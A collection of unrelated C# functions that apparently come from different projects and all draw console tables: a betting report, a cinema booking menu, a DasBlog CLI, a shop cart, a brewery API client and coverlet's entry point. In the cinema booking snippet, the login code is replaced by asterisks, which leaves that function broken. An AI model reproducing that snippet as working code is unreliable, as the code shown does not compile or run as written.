Alignment.Right) .Write(Format.Alternative); } if (reportType == ReportType.Report2) { var report2 = dataTransfer.GenerateReport2(betData); ConsoleTable .From(report2.Select(x => new Report2 { Currency = x.Currency, NumOfBets = x.NumberOfBets, TotalStakes = $"{CurrencyHelper.GetCurrencySymbol(x.Currency.ToString())}{x.TotalStakes:F}", TotalLiability = $"{CurrencyHelper.GetCurrencySymbol(x.Currency.ToString())}{x.TotalLiability:F}", })) .Configure(o => o.NumberAlignment = Alignment.Right) .Write(Format.Alternative); } Console.WriteLine("Table outputted to console"); Console.WriteLine("Press any key to exit.."); Console.ReadLine(); Environment.Exit(0); // exit app } else if (input.Equals("2")) { ReportType reportType = TypeOfReport(); // TODO: Confirm you want to overwrite string fileName = $"{reportType}bet_data_ouput.csv"; if (reportType == ReportType.Report1) { var report1 = dataTransfer.GenerateReport1(betData); CsvParser.CreateCsv(report1.ToList(), fileName); } if (reportType == ReportType.Report2) { var report2 = dataTransfer.GenerateReport2(betData); CsvParser.CreateCsv(report2.ToList(), fileName); } Console.WriteLine($"The file will be generated in {Directory.GetCurrentDirectory()}/{reportType}bet_data_output.csv"); } else { Console.WriteLine("You didn't select a valid option\nExiting..."); } Console.WriteLine("Press any key to exit"); Console.ReadLine(); Environment.Exit(0); // exit app }
public static void Execute() { data.GetMovie(); data.GetUser(); data.GetHall(); data.GetMovieHall(); data.GetMovieHallDetails(); var check = true; while (check) { System.Console.WriteLine("Welcome To TGV Cinema Ticket App."); System.Console.WriteLine("\n \t 1.View all movies"); System.Console.WriteLine("\t 2.Login"); System.Console.WriteLine("\t 3.Exit app"); string opt = System.Console.ReadLine(); switch (opt) { case "1": System.Console.Clear(); var table = new ConsoleTable("ID", "Movie Title", "Release Date", "Status"); foreach (var item in data.Movies) { table.AddRow(item.MovieId, item.MovieTitle, item.ReleaseDate, item.Status); } table.Write(); break; case "2": System.Console.Clear(); var check2 = true; while (check2) { System.Console.Write("Username : "******"Password : "******"User not found"); } } ; var check3 = true; while (check3) { System.Console.Clear(); System.Console.WriteLine("Login successfully."); System.Console.WriteLine("1.Select Movie"); System.Console.WriteLine("2.Logout"); string option = System.Console.ReadLine(); switch (option) { case "1": System.Console.Clear(); var Showingmovie = new ConsoleTable("ID", "Movie Title", "Release Date"); foreach (var movies in data.Movies) { if (movies.Status == Model.Movie.status.NowShowing) { Showingmovie.AddRow(movies.MovieId, movies.MovieTitle, movies.ReleaseDate); } } Showingmovie.Write(); System.Console.Write("Enter the selected movie ID : "); int Id = Convert.ToInt32(System.Console.ReadLine()); //find the movie that the status is now showing var checkMovie = data.Movies.Where(m => m.MovieId == Id && m.Status == Model.Movie.status.NowShowing).SingleOrDefault(); if (checkMovie == null) { System.Console.WriteLine("no such movie"); } else { System.Console.Clear(); System.Console.WriteLine($"You select {checkMovie.MovieTitle}"); var selectedMovieHall = data.MovieHalls.Where(mh => mh.MovieId == checkMovie.MovieId); var MovieTable = new ConsoleTable("ID", "Time Showing"); foreach (var movieTable in selectedMovieHall) { MovieTable.AddRow(movieTable.Id, movieTable.MovieDateTime); } MovieTable.Write(); } System.Console.WriteLine("Select the Id: "); int checkId = Convert.ToInt32(System.Console.ReadLine()); var checkHall = data.MovieHalls.Where(mh => mh.Id == checkId).SingleOrDefault(); if (checkHall != null) { System.Console.Clear(); System.Console.WriteLine($"The Time You Select is {checkHall.MovieDateTime}"); var checkHallId = data.HallSeats.Where(hs => hs.TimeStartId == checkHall.Id).ToList(); foreach (var item in checkHallId) { System.Console.Write($"{item.Seat} {item.SeatStatus} "); //for hall id =3,it will like spacing when the loop get 1,10 if (item.Seat == "1,10" || item.Seat == "2,10" || item.Seat == "3,10" || item.Seat == "4,10" || item.Seat == "5,10") { System.Console.WriteLine("\n"); } } var checkseat = true; while (checkseat) { System.Console.WriteLine("Please select your seat Example: 1,1 :"); string SelectSeat = Convert.ToString(System.Console.ReadLine()); var CheckSeatStatus = data.HallSeats.Where(s => s.Seat == SelectSeat).FirstOrDefault(); if (CheckSeatStatus != null) { if (CheckSeatStatus.SeatStatus == HallSeat.SeatsDetail.Taken) { System.Console.WriteLine("Seat taken."); checkseat = true; } else { System.Console.WriteLine("Selected successfully."); CheckSeatStatus.SeatStatus = HallSeat.SeatsDetail.Taken; Thread.Sleep(1000); checkseat = false; } } } } break; case "2": check3 = false; break; default: System.Console.Clear(); System.Console.WriteLine("Please select between 1-2"); break; } } break; case "3": System.Console.WriteLine("Thank you for using TGV Cinema Ticket App"); Environment.Exit(0); break; default: System.Console.Clear(); System.Console.WriteLine("Please select option between 1-3"); break; } } }
static void CadastrarConta(Program p) { string descricao = ""; do { Write("Informe a descricao da conta: "); descricao = ReadLine(); if (descricao.Equals("")) { BackgroundColor = ConsoleColor.Red; ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("INFORME UMA DESCRICAO PARA A CONTA!", 'X', 20); ResetColor(); } } while (descricao.Equals("")); Write("Informe o valor: "); double valor = Convert.ToDouble(ReadLine()); Write("Informe o Tipo (R para receber ou P para pagar): "); char tipo = Convert.ToChar(ReadLine()); Write("Informe a data de vencimento (dd/mm/aaaa): "); DateTime dataVencimento = DateTime.Parse(ReadLine()); WriteLine("Selecine uma Categoria pela ID: \n"); ConsoleTable table = new ConsoleTable("ID", "Nome"); p.categorias = p.categoria.ListarTodos(); foreach (var cat in p.categorias) { table.AddRow(cat.Id, cat.Nome); } table.Write(); Write("Categoria: "); int cat_id = Convert.ToInt32(ReadLine()); Categoria categoria_cadastro = p.categoria.GetCategoria(cat_id); Conta conta = new Conta() { Descricao = descricao, Valor = valor, Tipo = tipo, DataVencimento = dataVencimento, Categoria = categoria_cadastro }; p.conta.Salvar(conta); BackgroundColor = ConsoleColor.DarkGreen; ForegroundColor = ConsoleColor.White; Uteis.MontaHeader("Conta Salva com sucesso!", '+', 20); ResetColor(); }
static void GetEmails(int isSent) { Console.WriteLine("\nEnter Page Number:"); String PageNo = Console.ReadLine(); // Set connection to the database string conString = "Server=(LocalDb)\\MSSQLLocalDB;Database=Foofle;Trusted_Connection=true"; using SqlConnection con = new SqlConnection(conString); // Set up a command with the given query and associate this with the current connection. using SqlCommand cmd = new SqlCommand("GetEmails", con) { CommandType = CommandType.StoredProcedure }; cmd.Parameters.Add(new SqlParameter("@IsSent", isSent)); cmd.Parameters.Add(new SqlParameter("@PageNumber", PageNo)); cmd.Parameters.Add(new SqlParameter("@MSG", SqlDbType.NVarChar, 512)).Direction = ParameterDirection.Output; // Open connection to the database con.Open(); cmd.ExecuteNonQuery(); // create data adapter and data table DataTable dataTable = new DataTable(); SqlDataAdapter da = new SqlDataAdapter(cmd); da.Fill(dataTable); // displaying table ConsoleTable table; if (isSent == 0) { table = new ConsoleTable("Id", "Subject", "Time", "Is Read"); } else { table = new ConsoleTable("Id", "Subject", "Time"); } var RowArray = new ArrayList(); foreach (DataRow row in dataTable.Rows) { RowArray.Clear(); foreach (var item in row.ItemArray) { RowArray.Add(item); } table.AddRow(RowArray.ToArray()); } table.Write(); // read output value from @MSG MSG = cmd.Parameters["@MSG"].Value.ToString(); Console.WriteLine(MSG); con.Close(); da.Dispose(); }
private void AfficherClientsCommandes() { List <CommandeClient> Comm = Contexte.GetClientsCommandes(); ConsoleTable.From(Comm, "Comm").Display("Comm"); }
public void executeProgram(string path) { //INICIA EL CRONOMETRO Stopwatch watch = Stopwatch.StartNew(); Console.WriteLine("Actividad 6 en proceso... "); //OBTIENE LAS RUTAS DE LOS ARCHIVOS HTML string[] filePaths = Directory.GetFiles(path + "\\results\\act3\\files"); //SE CREA UN ARCHIVO TXT DE SALIDA DE DATOS Directory.CreateDirectory(path + "\\results\\act6"); //TABLA PARA GUARDAR LOS DATOS DE MANERA ORDENADA var dataTable = new ConsoleTable("Palabra", "Frecuencia", "Existencia"); //GUARDA TODAS LAS PALABRAS Y SU FRECUENCIA List <Word> wordsList = new List <Word>(); //ENLISTA LA FRECUENCIA DE LAS PALABRAS POR ARCHIVO Dictionary <string, Word> freqDict; using (var progress = new ProgressBar()) { progress.setTask("Calculando frecuencia de palabras"); int count = 0; foreach (string filepath in filePaths) { freqDict = new Dictionary <string, Word>(); string[] words = File.ReadAllLines(filepath); foreach (string word in words) { if (!freqDict.ContainsKey(word)) { freqDict.Add(word, new Word(word /*, filepath*/)); } freqDict[word].freq++; } foreach (KeyValuePair <string, Word> word in freqDict) { if (word.Value.freq >= 3) { wordsList.Add(word.Value); } } //PROGRESO count++; progress.Report((double)count / filePaths.Length); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando frecuencia de palabras"); } //ENLISTA LA EXISTENCIA DE LAS PALABRAS POR ARCHIVO SortedDictionary <string, Word> exDict = new SortedDictionary <string, Word>(); using (var progress = new ProgressBar()) { progress.setTask("Calculando existencia de palabras"); int count = 0; foreach (Word wordObj in wordsList) { if (!exDict.ContainsKey(wordObj.content)) { exDict.Add(wordObj.content, new Word(wordObj.content, wordObj.freq)); } exDict[wordObj.content].freq += wordObj.freq; exDict[wordObj.content].freqFile++; //exDict[wordObj.content].references.Add(wordObj.reference); //PROGRESO count++; progress.Report((double)count / wordsList.Count); } //IMPRIME EL ULTIMO LOG DE PROGRESO Console.SetCursorPosition(0, Console.CursorTop - 1); Console.WriteLine("\n[##########] 100% | Calculando existencia de palabras"); } foreach (KeyValuePair <string, Word> wordObj in exDict) { dataTable.AddRow(wordObj.Value.content, wordObj.Value.freq, wordObj.Value.freqFile); } //TERMINA EL CRONOMETRO watch.Stop(); //ESCRIBE TODAS LAS PALABRAS EN UN ARCHIVO CONSOLIDADO File.WriteAllText(path + "\\results\\act6\\consolidatedFile.html", dataTable.ToMinimalString()); File.WriteAllText(path + "\\results\\act6\\results.txt", "\nTiempo total en ejecutar el programa: " + watch.Elapsed); Console.WriteLine("Actividad 6 completada exitosamente, Noice\n"); }
static int Main(string[] args) { DefineConfigNames(); Configuration = DasBlogConfigurationBuilder(); var service = new ServiceCollection(); service.Configure <ConfigFilePathsDataOption>(options => { options.SiteConfigFilePath = Path.Combine(CONFIG_DIRECTORY, SITECONFIG_FILENAME); options.SecurityConfigFilePath = Path.Combine(CONFIG_DIRECTORY, SITESECURITYCONFIG_FILENAME); options.ThemesFolder = Path.Combine(Environment.CurrentDirectory, "Themes"); }); service .Configure <SiteConfig>(Configuration) .AddSingleton <IConfigFileService <SiteConfig>, SiteConfigFileService>() .AddSingleton <IConfigFileService <SiteSecurityConfigData>, SiteSecurityConfigFileService>() .AddSingleton <IUserDataRepo, UserDataRepo>() .AddSingleton <IUserService, UserService>() .BuildServiceProvider(); var app = new CommandLineApplication { Name = "dasblog-core", Description = "Configure DasBlog Core from the CLI.", }; app.HelpOption(inherited: true); app.Command("config", configCmd => { configCmd.Description = "Allows updates to the primary configuration settings"; configCmd.OnExecute(() => { Console.WriteLine("Specify a subcommand"); configCmd.ShowHelp(); return(1); }); configCmd.Command("env", setCmd => { setCmd.Description = "Required: Set the environment variable e.g. Development, Staging or Production"; var val = setCmd.Argument("value", "Value of 'environment' parameter"); setCmd.OnExecute(() => { if (!string.IsNullOrWhiteSpace(val.Value)) { Environment.SetEnvironmentVariable(ASPNETCORE_ENV_NAME, val.Value); } else { Environment.SetEnvironmentVariable(ASPNETCORE_ENV_NAME, null); } Console.WriteLine($"Environment variable has been set to '{val.Value}'."); }); }); configCmd.Command("root", setCmd => { setCmd.Description = "Required: Set the base URL value for the site e.g. http://www.somesite.com"; var val = setCmd.Argument("value", "Value of 'root' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.Root = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'root' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("theme", setCmd => { setCmd.Description = "Change the site theme"; var val = setCmd.Argument("value", "Value of 'theme' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.Theme = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'theme' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("contentdir", setCmd => { setCmd.Description = "Change the site content directory location"; var val = setCmd.Argument("value", "Value of 'contentdir' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.ContentDir = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'contentdir' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("binarydir", setCmd => { setCmd.Description = "Change the site binary directory location"; var val = setCmd.Argument("value", "Value of 'binarydir' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.BinariesDir = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'binarydir' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); configCmd.Command("logdir", setCmd => { setCmd.Description = "Change the site log directory location"; var val = setCmd.Argument("value", "Value of 'logdir' parameter").IsRequired(); setCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; sc.LogDir = val.Value; var fs = serviceProvider.GetService <IConfigFileService <SiteConfig> >(); if (fs.SaveConfig(sc)) { Console.WriteLine($"Site 'logdir' has been set to '{val.Value}'."); } else { Console.WriteLine($"Save failed!"); } }); }); }); app.Command("init", initCmd => { initCmd.Description = "Initializing the site creates environment specific config files (Staging or Production)"; initCmd.OnExecute(() => { if (!InitializeConfigFiles.IsInitialized(CONFIG_DIRECTORY, ASPNETCORE_ENVIRONMENT)) { InitializeConfigFiles.CopyFiles(CONFIG_DIRECTORY, ASPNETCORE_ENVIRONMENT); Console.WriteLine($"Site settings files have been been initialized for this site! (Environment = {ASPNETCORE_ENVIRONMENT})"); } else { Console.WriteLine("Site settings files have already been been initialized for this site"); } }); }); app.Command("environment", envCmd => { envCmd.Description = "List the main environment settings associated with DasBlog Core"; envCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var sc = serviceProvider.GetService <IOptions <SiteConfig> >().Value; var configfs = serviceProvider.GetService <IOptions <ConfigFilePathsDataOption> >().Value; var table = new ConsoleTable("Settings", "Value"); table.AddRow("Site Initialized?", InitializeConfigFiles.IsInitialized(CONFIG_DIRECTORY, ASPNETCORE_ENVIRONMENT)) .AddRow("Environment", ASPNETCORE_ENVIRONMENT) .AddRow("Site file", SITECONFIG_FILENAME) .AddRow("SiteSecurity file", SITESECURITYCONFIG_FILENAME) .AddRow("root", sc.Root) .AddRow("theme", sc.Theme) .AddRow("contentdir", sc.ContentDir) .AddRow("binarydir", sc.BinariesDir) .AddRow("logdir", sc.LogDir); table.Write(); }); }); app.Command("resetpassword", resetCmd => { resetCmd.Description = "**WARNING** Resets all user passowrds to 'admin'"; resetCmd.OnExecute(() => { var serviceProvider = service.BuildServiceProvider(); var userService = serviceProvider.GetService <IUserService>(); var users = userService.GetAllUsers().ToList(); users.ForEach(x => x.Password = ADMINPASSWORD); var fs = serviceProvider.GetService <IConfigFileService <SiteSecurityConfig> >(); if (fs.SaveConfig(new SiteSecurityConfig(userService) { Users = users })) { Console.WriteLine("All passwords reset to 'admin'"); } else { Console.WriteLine($"Reset failed!"); } }); }); app.Command("newtheme", createthemeCmd => { createthemeCmd.Description = "Creates a new theme based on the default 'dasblog' theme"; var val = createthemeCmd.Argument("value", "Name of the new theme").IsRequired(); createthemeCmd.OnExecute(() => { // Execute command var serviceProvider = service.BuildServiceProvider(); var fs = serviceProvider.GetService <IOptions <ConfigFilePathsDataOption> >(); var fileOptions = fs.Value; if (DirectoryCopy(Path.Combine(fileOptions.ThemesFolder, "dasblog"), Path.Combine(fileOptions.ThemesFolder, val.Value), true)) { Console.WriteLine($"New theme created: '{val.Value}' "); } }); }); app.OnExecute(() => { Console.WriteLine("Specify a subcommand"); app.ShowHelp(); return(1); }); return(app.Execute(args)); }
public void showItemDetail() { while (true) { string row = ("=================================================================="); ItemsBL itBL = new ItemsBL(); Items it = new Items(); List <Items> li = new List <Items>(); Customers custom = new Customers(); CustomersBL cutomBL = new CustomersBL(); string choice; int itID; try { li = itBL.getItemsByItemID(1); Console.Write("Enter item id: "); itID = int.Parse(Console.ReadLine()); } catch (System.Exception) { Console.WriteLine("Item id must be integer and in the options !"); continue; } if (itID > li.Count || validateChoice(itID.ToString()) == false) { Console.Write("You are only entered in the number of existing ids !"); while (true) { Console.Write("Do you want re-enter ? (Y/N): "); choice = Console.ReadLine().ToUpper(); if (choice != "Y" && choice != "N") { Console.Write("You can only enter (Y/N): "); choice = Console.ReadLine().ToUpper(); continue; } break; } switch (choice) { case "Y": continue; case "N": showItems(); break; default: continue; } } try { it = itBL.GetItemByItemID(itID); } catch (System.Exception) { Console.WriteLine("Disconnect from database !"); } if (it == null) { Console.WriteLine("The item does not exist !"); } else { Console.WriteLine(row); Console.WriteLine("DETAIL OF ITEM"); Console.WriteLine(row); var table = new ConsoleTable("ID", "ITEM NAME", "ITEM PRICE", "SIZE"); table.AddRow(it.ItemID, it.ItemName, it.ItemPrice, it.Size); table.Write(); Console.WriteLine("DESCRIPTION : "); Console.WriteLine(it.ItemDescription); } string select; Console.WriteLine("\n" + row + "\n"); Console.WriteLine("1. Add to cart"); Console.WriteLine("2. Back to Menu"); Console.Write("Enter your selection: "); select = Console.ReadLine(); switch (select) { case "1": AddToCart(it); break; case "2": showItems(); break; default: Console.WriteLine("You are only entered in the number existing !"); continue; } string conti; Console.Write("Do you continue ? (Y/N): "); conti = checkYN(); if (conti == "Y") { showItems(); } else { break; } } }
private UnitTestResultType[] CreateUnitTestResults(IList <MutationDocumentResult> mutations) { var unitTestResults = new List <UnitTestResultType>(); var testListId = Guid.NewGuid().ToString(); foreach (var mutation in mutations) { string error = string.Empty; if (mutation.CompilationResult == null) { continue; } if (mutation.CompilationResult != null && !mutation.CompilationResult.IsSuccess) { var errorTable = new ConsoleTable("Description", "File"); foreach (var compilerResultError in mutation.CompilationResult.Errors) { errorTable.AddRow(compilerResultError.Message, compilerResultError.Location); } error = $"\n{errorTable.ToStringAlternative()}\n"; } var fileLoadException = mutation.FailedTests.FirstOrDefault(t => t.InnerText != null && t.InnerText.Contains("System.IO.FileLoadException : Could not load file or assembly")); if (fileLoadException != null) { error += $"\nWARNING: It seems like we can't find a file so this result may be invalid: {fileLoadException}"; } var table = new ConsoleTable(" ", " "); table.AddRow("Project", mutation.ProjectName); table.AddRow("File", mutation.FileName); table.AddRow("Where", mutation.Location.Where); table.AddRow("Line", mutation.Location.Line); table.AddRow("Orginal", mutation.Orginal); table.AddRow("Mutation", mutation.Mutation); table.AddRow("Tests run", mutation.TestsRunCount); table.AddRow("Failed tests", mutation.FailedTests.Count); unitTestResults.Add(new UnitTestResultType { testType = "13cdc9d9-ddb5-4fa4-a97d-d965ccfc6d4b", testName = mutation.MutationName, outcome = !mutation.CompilationResult.IsSuccess ? "Ignored" : mutation.Survived ? "Failed" : "Passed", testId = Guid.NewGuid().ToString(), testListId = testListId, executionId = Guid.NewGuid().ToString(), computerName = "mutation", Items = new object[] { new OutputType { StdOut = $"\n{table.ToStringAlternative()}\n", StdErr = error } } }); } return(unitTestResults.ToArray()); }
public void ShowCart() { while (true) { if (File.Exists("shoppingcart" + cusAll.UserName + ".dat")) { List <Items> itemsa = null; Orders or = new Orders(); decimal amount = 0; try { FileStream fs = new FileStream("shoppingcart" + cusAll.UserName + ".dat", FileMode.OpenOrCreate, FileAccess.ReadWrite); BinaryReader br = new BinaryReader(fs); string a = br.ReadString(); itemsa = JsonConvert.DeserializeObject <List <Items> >(a); br.Close(); fs.Close(); } catch (System.Exception) { throw; } var table = new ConsoleTable("ID", "ITEM NAME"); foreach (var itema in itemsa) { table.AddRow(itema.ItemID, itema.ItemName); amount += itema.ItemPrice; } table.Write(); string orde; Console.Write("Do you want create order ? (Y/N):"); orde = checkYN(); if (orde == "Y") { Console.Write("Enter your note: "); string note = Console.ReadLine(); DateTime date = DateTime.Now; or.OrderDate = date; or.Status = "Not yet"; or.Amount = amount; or.CustomerID = cusAll; foreach (var item in itemsa) { or.Items = new List <Items>(); or.Items.Add(itBl.GetItemByItemID(or.ItemID)); // ordersbl.CreateOrder(or); } bool a = true; try { a = ordersbl.CreateOrder(or); } catch (System.Exception) { a = false; Console.WriteLine("\n ☹ Create order faild , press anykey to continue !\n"); Console.ReadKey(); break; } if (a == true) { Console.WriteLine("Create order success ! "); try { // Check if file exists with its full path if (File.Exists(Path.Combine("shoppingcart" + cusAll.UserName + ".dat"))) { // If file found, delete it File.Delete(Path.Combine("shoppingcart" + cusAll.UserName + ".dat")); } else { Console.WriteLine("Cart not found"); } } catch (IOException ioExp) { Console.WriteLine(ioExp.Message); } } else { Console.WriteLine("\n ☹ Create order faild , press anykey to continue !\n"); Console.ReadKey(); break; } } else { break; } } else { Console.WriteLine("\nNo shopping cart yet , press anykey to continue !\n"); Console.ReadKey(); break; } } }
static async System.Threading.Tasks.Task Main(string[] args) { var client = new HttpClient(); var responseAsStream = await client.GetStreamAsync("https://api.openbrewerydb.org/breweries"); var breweries = await JsonSerializer.DeserializeAsync <List <Brewery> >(responseAsStream); var userHasChosenToQuit = false; while (userHasChosenToQuit == false) { Console.WriteLine(); Console.WriteLine("Welcome to the brewery database. Please select one of the following options: "); Console.WriteLine(); Console.Write("(V)iew a list of breweries with supporting information, (F)ind a brewery by entering in the associated ID number, F(I)nd breweries by entering in a state, or (Q)uit this application "); var choice = Console.ReadLine().ToUpper(); switch (choice) { case "V": var table = new ConsoleTable("ID", "Name", "City", "State", "Country"); foreach (var brewery in breweries) { table.AddRow(brewery.id, brewery.name, brewery.city, brewery.state, brewery.country); } table.Write(); break; case "F": Console.Write("Enter the ID for the brewery you would like to search for: "); try { var id = int.Parse(Console.ReadLine()); var url = $"https://api.openbrewerydb.org/breweries/{id}"; var responseAsStreamForChoiceF = await client.GetStreamAsync(url); var breweryForChoiceF = await JsonSerializer.DeserializeAsync <Brewery>(responseAsStreamForChoiceF); var tableForChoiceF = new ConsoleTable("ID", "Name", "City", "State", "Country"); tableForChoiceF.AddRow(breweryForChoiceF.id, breweryForChoiceF.name, breweryForChoiceF.city, breweryForChoiceF.state, breweryForChoiceF.country); tableForChoiceF.Write(); } catch (HttpRequestException) { Console.WriteLine("That ID could not be found."); } catch (FormatException) { Console.WriteLine("That ID could not be found."); } break; case "I": Console.Write("Enter a state and receive a list of breweries: "); try { var state = Console.ReadLine(); var url = $"https://api.openbrewerydb.org/breweries?by_state={state}"; var responseAsStreamForChoiceI = await client.GetStreamAsync(url); var breweryForChoiceI = await JsonSerializer.DeserializeAsync <List <Brewery> >(responseAsStreamForChoiceI); var tableForChoiceI = new ConsoleTable("ID", "Name", "City", "State", "Country"); foreach (var brewery in breweryForChoiceI) { tableForChoiceI.AddRow(brewery.id, brewery.name, brewery.city, brewery.state, brewery.country); } tableForChoiceI.Write(); } catch (HttpRequestException) { Console.WriteLine("That state could not be found."); } catch (FormatException) { Console.WriteLine("That state could not be found."); } break; case "Q": userHasChosenToQuit = true; break; } } }
static int Main(string[] args) { IServiceCollection serviceCollection = new ServiceCollection(); serviceCollection.AddTransient <IRetryHelper, RetryHelper>(); serviceCollection.AddTransient <IProcessExitHandler, ProcessExitHandler>(); serviceCollection.AddTransient <IFileSystem, FileSystem>(); serviceCollection.AddTransient <ILogger, ConsoleLogger>(); // We need to keep singleton/static semantics serviceCollection.AddSingleton <IInstrumentationHelper, InstrumentationHelper>(); serviceCollection.AddSingleton <ISourceRootTranslator, SourceRootTranslator>(provider => new SourceRootTranslator(provider.GetRequiredService <ILogger>(), provider.GetRequiredService <IFileSystem>())); serviceCollection.AddSingleton <ICecilSymbolHelper, CecilSymbolHelper>(); ServiceProvider serviceProvider = serviceCollection.BuildServiceProvider(); var logger = (ConsoleLogger)serviceProvider.GetService <ILogger>(); var fileSystem = serviceProvider.GetService <IFileSystem>(); var app = new CommandLineApplication { Name = "coverlet", FullName = "Cross platform .NET Core code coverage tool" }; app.HelpOption("-h|--help"); app.VersionOption("-v|--version", GetAssemblyVersion()); int exitCode = (int)CommandExitCodes.Success; CommandArgument moduleOrAppDirectory = app.Argument("<ASSEMBLY|DIRECTORY>", "Path to the test assembly or application directory."); CommandOption target = app.Option("-t|--target", "Path to the test runner application.", CommandOptionType.SingleValue); CommandOption targs = app.Option("-a|--targetargs", "Arguments to be passed to the test runner.", CommandOptionType.SingleValue); CommandOption output = app.Option("-o|--output", "Output of the generated coverage report", CommandOptionType.SingleValue); CommandOption <LogLevel> verbosity = app.Option <LogLevel>("-v|--verbosity", "Sets the verbosity level of the command. Allowed values are quiet, minimal, normal, detailed.", CommandOptionType.SingleValue); CommandOption formats = app.Option("-f|--format", "Format of the generated coverage report.", CommandOptionType.MultipleValue); CommandOption threshold = app.Option("--threshold", "Exits with error if the coverage % is below value.", CommandOptionType.SingleValue); CommandOption thresholdTypes = app.Option("--threshold-type", "Coverage type to apply the threshold to.", CommandOptionType.MultipleValue); CommandOption thresholdStat = app.Option("--threshold-stat", "Coverage statistic used to enforce the threshold value.", CommandOptionType.SingleValue); CommandOption excludeFilters = app.Option("--exclude", "Filter expressions to exclude specific modules and types.", CommandOptionType.MultipleValue); CommandOption includeFilters = app.Option("--include", "Filter expressions to include only specific modules and types.", CommandOptionType.MultipleValue); CommandOption excludedSourceFiles = app.Option("--exclude-by-file", "Glob patterns specifying source files to exclude.", CommandOptionType.MultipleValue); CommandOption includeDirectories = app.Option("--include-directory", "Include directories containing additional assemblies to be instrumented.", CommandOptionType.MultipleValue); CommandOption excludeAttributes = app.Option("--exclude-by-attribute", "Attributes to exclude from code coverage.", CommandOptionType.MultipleValue); CommandOption includeTestAssembly = app.Option("--include-test-assembly", "Specifies whether to report code coverage of the test assembly.", CommandOptionType.NoValue); CommandOption singleHit = app.Option("--single-hit", "Specifies whether to limit code coverage hit reporting to a single hit for each location", CommandOptionType.NoValue); CommandOption skipAutoProp = app.Option("--skipautoprops", "Neither track nor record auto-implemented properties.", CommandOptionType.NoValue); CommandOption mergeWith = app.Option("--merge-with", "Path to existing coverage result to merge.", CommandOptionType.SingleValue); CommandOption useSourceLink = app.Option("--use-source-link", "Specifies whether to use SourceLink URIs in place of file system paths.", CommandOptionType.NoValue); CommandOption doesNotReturnAttributes = app.Option("--does-not-return-attribute", "Attributes that mark methods that do not return.", CommandOptionType.MultipleValue); app.OnExecute(() => { if (string.IsNullOrEmpty(moduleOrAppDirectory.Value) || string.IsNullOrWhiteSpace(moduleOrAppDirectory.Value)) { throw new CommandParsingException(app, "No test assembly or application directory specified."); } if (!target.HasValue()) { throw new CommandParsingException(app, "Target must be specified."); } if (verbosity.HasValue()) { // Adjust log level based on user input. logger.Level = verbosity.ParsedValue; } CoverageParameters parameters = new() { IncludeFilters = includeFilters.Values.ToArray(), IncludeDirectories = includeDirectories.Values.ToArray(), ExcludeFilters = excludeFilters.Values.ToArray(), ExcludedSourceFiles = excludedSourceFiles.Values.ToArray(), ExcludeAttributes = excludeAttributes.Values.ToArray(), IncludeTestAssembly = includeTestAssembly.HasValue(), SingleHit = singleHit.HasValue(), MergeWith = mergeWith.Value(), UseSourceLink = useSourceLink.HasValue(), SkipAutoProps = skipAutoProp.HasValue(), DoesNotReturnAttributes = doesNotReturnAttributes.Values.ToArray() }; ISourceRootTranslator sourceRootTranslator = serviceProvider.GetRequiredService <ISourceRootTranslator>(); Coverage coverage = new(moduleOrAppDirectory.Value, parameters, logger, serviceProvider.GetRequiredService <IInstrumentationHelper>(), fileSystem, sourceRootTranslator, serviceProvider.GetRequiredService <ICecilSymbolHelper>()); coverage.PrepareModules(); Process process = new(); process.StartInfo.FileName = target.Value(); process.StartInfo.Arguments = targs.HasValue() ? targs.Value() : string.Empty; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.OutputDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogInformation(eventArgs.Data, important: true); } }; process.ErrorDataReceived += (sender, eventArgs) => { if (!string.IsNullOrEmpty(eventArgs.Data)) { logger.LogError(eventArgs.Data); } }; process.Start(); process.BeginErrorReadLine(); process.BeginOutputReadLine(); process.WaitForExit(); var dOutput = output.HasValue() ? output.Value() : Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar.ToString(); var dThresholdTypes = thresholdTypes.HasValue() ? thresholdTypes.Values : new List <string>(new string[] { "line", "branch", "method" }); var dThresholdStat = thresholdStat.HasValue() ? Enum.Parse <ThresholdStatistic>(thresholdStat.Value(), true) : Enum.Parse <ThresholdStatistic>("minimum", true); logger.LogInformation("\nCalculating coverage result..."); var result = coverage.GetCoverageResult(); var directory = Path.GetDirectoryName(dOutput); if (directory == string.Empty) { directory = Directory.GetCurrentDirectory(); } else if (!Directory.Exists(directory)) { Directory.CreateDirectory(directory); } foreach (var format in formats.HasValue() ? formats.Values : new List <string>(new string[] { "json" })) { var reporter = new ReporterFactory(format).CreateReporter(); if (reporter == null) { throw new Exception($"Specified 